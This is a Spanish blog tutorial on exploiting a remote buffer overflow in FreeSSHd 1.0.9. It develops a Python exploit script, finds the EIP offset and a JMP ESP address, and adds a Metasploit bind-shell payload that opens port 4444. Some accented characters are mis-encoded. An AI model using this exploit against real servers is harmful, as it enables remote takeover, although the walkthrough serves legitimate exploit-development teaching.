Exploiting, Programación

Exploiting de software: Freesshd Buffer Overflow

Print Friendly, PDF & Email

La mejor forma de entender el funcionamiento de una vulnerabilidad del tipo “buffer overflow” es probablemente por medio de un ejemplo y por ese motivo, en este articulo se intentará explicar el procedimiento habitual para explotar este tipo de vulnerabilidades de forma remota.
En este caso concreto, se utilizará el servidor FreeSSHD con una versión <= 1.0.9, la cual viene con una vulnerabilidad muy grave que puede ser explotada por un atacante para ganar acceso de forma al servidor de forma remota. Dicha vulnerabilidad se encuentra registrada en el siguiente enlace: https://www.exploit-db.com/exploits/1787/

En primer lugar, para intentar reproducir el error se puede utilizar Metasploit Framework y el script “pattern_create.rb”, el cual se encuentra ubicado en “<MSF_INSTALL>/tools”.

./pattern_create.rb 25000

En este caso concreto, el script ha creado un patrón fijo de 25.000 caracteres, los cuales permitirán conocer el offset exacto en el que se reproduce la vulnerabilidad. A continuación se puede automatizar el proceso creando un script que se conecte al servidor SSH y posteriormente se encargue de enviar dicho conjunto de caracteres. El siguiente script puede ser utilizado para tal fin.

import sys, socket, time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((sys.argv[1], 22))
sock.recv(1024)

buffer = “5353482d312e39392d4f70656e535348”
“5f332e340a00004f0405140000000000”
“0000000000000000000000000007de”

buffer += “<patr\xf3n msf>”
buffer += “rn”

sock.send(buffer)
time.sleep(3)
sock.close()

En este caso, los primeros caracteres son necesarios para ejecutar la conexión con el servidor y los últimos bytes en el buffer contienen la finalización de la petición. Entre medias, se puede ver el patrón generado por el script “pattern_create.rb”.
A continuación, se debe ejecutar el script anterior enviando como parámetro la dirección IP o nombre de dominio del servidor vulnerable.
A efectos practicos, es recomendable utilizar una máquina virtual que tenga el software vulnerable y utilizar un depurador como el IM (Immunity Debugger) para analizar el comportamiento del programa.

Como se puede apreciar, se ha producido una violaci\xf3n de acceso intentando ejecutar la instrucci\xf3n “326A4231”. Dicha supuesta direcci\xf3n hace parte del patr\xf3n enviado y ha sido el valor con el que se ha sobreescrito el registro EIP.

A continuaci\xf3n se debe buscar el offset exacto de los bytes con los que se ha sobreescrito el EIP, para ello se puede utilizar el script “pattern_offset.rb” ubicado también en el directorio “<MSF_INSTALL>/tools”

/opt/metasploit3/msf/tools# ./pattern_offset.rb 326A4231

  • Exact match at offset 1055

Con esto, ahora se puede saber con exactitud, cuántos bytes son necesarios para desbordar el buffer y estar ubicados en el punto justo para alterar el EIP. El script enseñado anteriormente ahora debe tener el siguiente contenido.

import sys, socket, time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((sys.argv[1], 22))

buffer = “5353482d312e39392d4f70656e535348” \
“5f332e340a00004f0405140000000000” \
“0000000000000000000000000007de”

buffer += “A” * 1055
”’
the EIP.
”’
buffer += “BBBB”
buffer += “A”*23000
buffer += “\r\n”

print sock.recv(1024)

sock.send(buffer)
time.sleep(3)
sock.close()

Después reiniciar el servidor SSH y de lanzar el script anterior, se seguirá produciendo una violaci\xf3n de acceso, pero en este caso, se podrá ver que la direcci\xf3n que intenta leer el procesador es “42424242”, es decir, los bytes “BBBB” en formato hexadecimal.
A continuaci\xf3n se debe buscar una instrucci\xf3n del tipo “JMP ESP” para realizar el salto al registro que apunta a la “cima” de la stack. Para encontrar una direcci\xf3n de este tipo pueden haber varios métodos y herramientas, sin embargo el IM ya permite realizar este tipo de búsquedas muy facilmente, lo único que debe hacer el exploiter es seleccionar un m\xf3dulo de la aplicaci\xf3n o del sistema operativo y buscar la instrucci\xf3n exacta “JMP ESP”. En este caso concreto, la direcci\xf3n encontrada ha sido “7C9D30D7” en la librer\xf3a “USER32.DLL”.
En los exploits simples basados en la stack, este suele ser el mecanismo más habitual y eficiente, sin embargo a veces es necesario buscar otros tipos de instrucciones o incluso implementar técnicas avanzadas para descubrir dinamicamente la ubicaci\xf3n de un shellcode, en este sentido existen ténicas como ROP o el uso de EGGHunters para llevar a cabo el proceso de explotaci\xf3n, pero esto ser\xf3 algo que se ver\xf3 con mucho m\xf3s detalle en un pr\xf3ximo post.

A continuaci\xf3n, se debe generar un shellcode que permita ejecutar c\xf3digo arbitrario en el servidor vulnerable, para ello nuevamente se puede utilizar Metasploit Framework.

./msfpayload windows/shell_bind_tcp R | ./msfencode -a x86 -t c -b “00”

  • x86/shikata_ga_nai succeeded with size 368 (iteration=1)

Ahora con la direcci\xf3n de memoria que apunta a una instrucci\xf3n “FFE4” (JMP ESP) y un shellcode que se encargará de crear una shell del tipo “bind” en el sistema remoto, se procede a modificar el script de explotaci\xf3n para que quede como se puede apreciar a continuaci\xf3n.

import sys, socket, time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((sys.argv[1], 22))

buffer = “5353482d312e39392d4f70656e535348” \
“5f332e340a00004f0405140000000000” \
“0000000000000000000000000007de”

buffer += “A” * 1055
”’
the EIP. 7C9D30D7 USER32.DLL
”’

buffer += “d7309d7c”
buffer += “90” * 20
buffer += (“SHELLCODE_MSF”)
buffer += “A”*23000
buffer += “\r\n”

print sock.recv(1024)

sock.send(buffer)
time.sleep(3)
sock.close()

Ahora que todo está puesto en su sitio, se puede lanzar el exploit contra servidor vulnerable y apreciar los resultados.

Como se puede apreciar, después de explotar el programa, el puerto “4444” se encuentra abierto y en estado de escucha y en este punto un atacante podrá conectarse a dicho puerto para conseguir una shell directa contra el sistema comprometido.

Espero que este sencillo ejemplo sea bastate ilustrativo y que os sirva para practicar.
Un saludo!
Adastra.

Tagged , ,

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.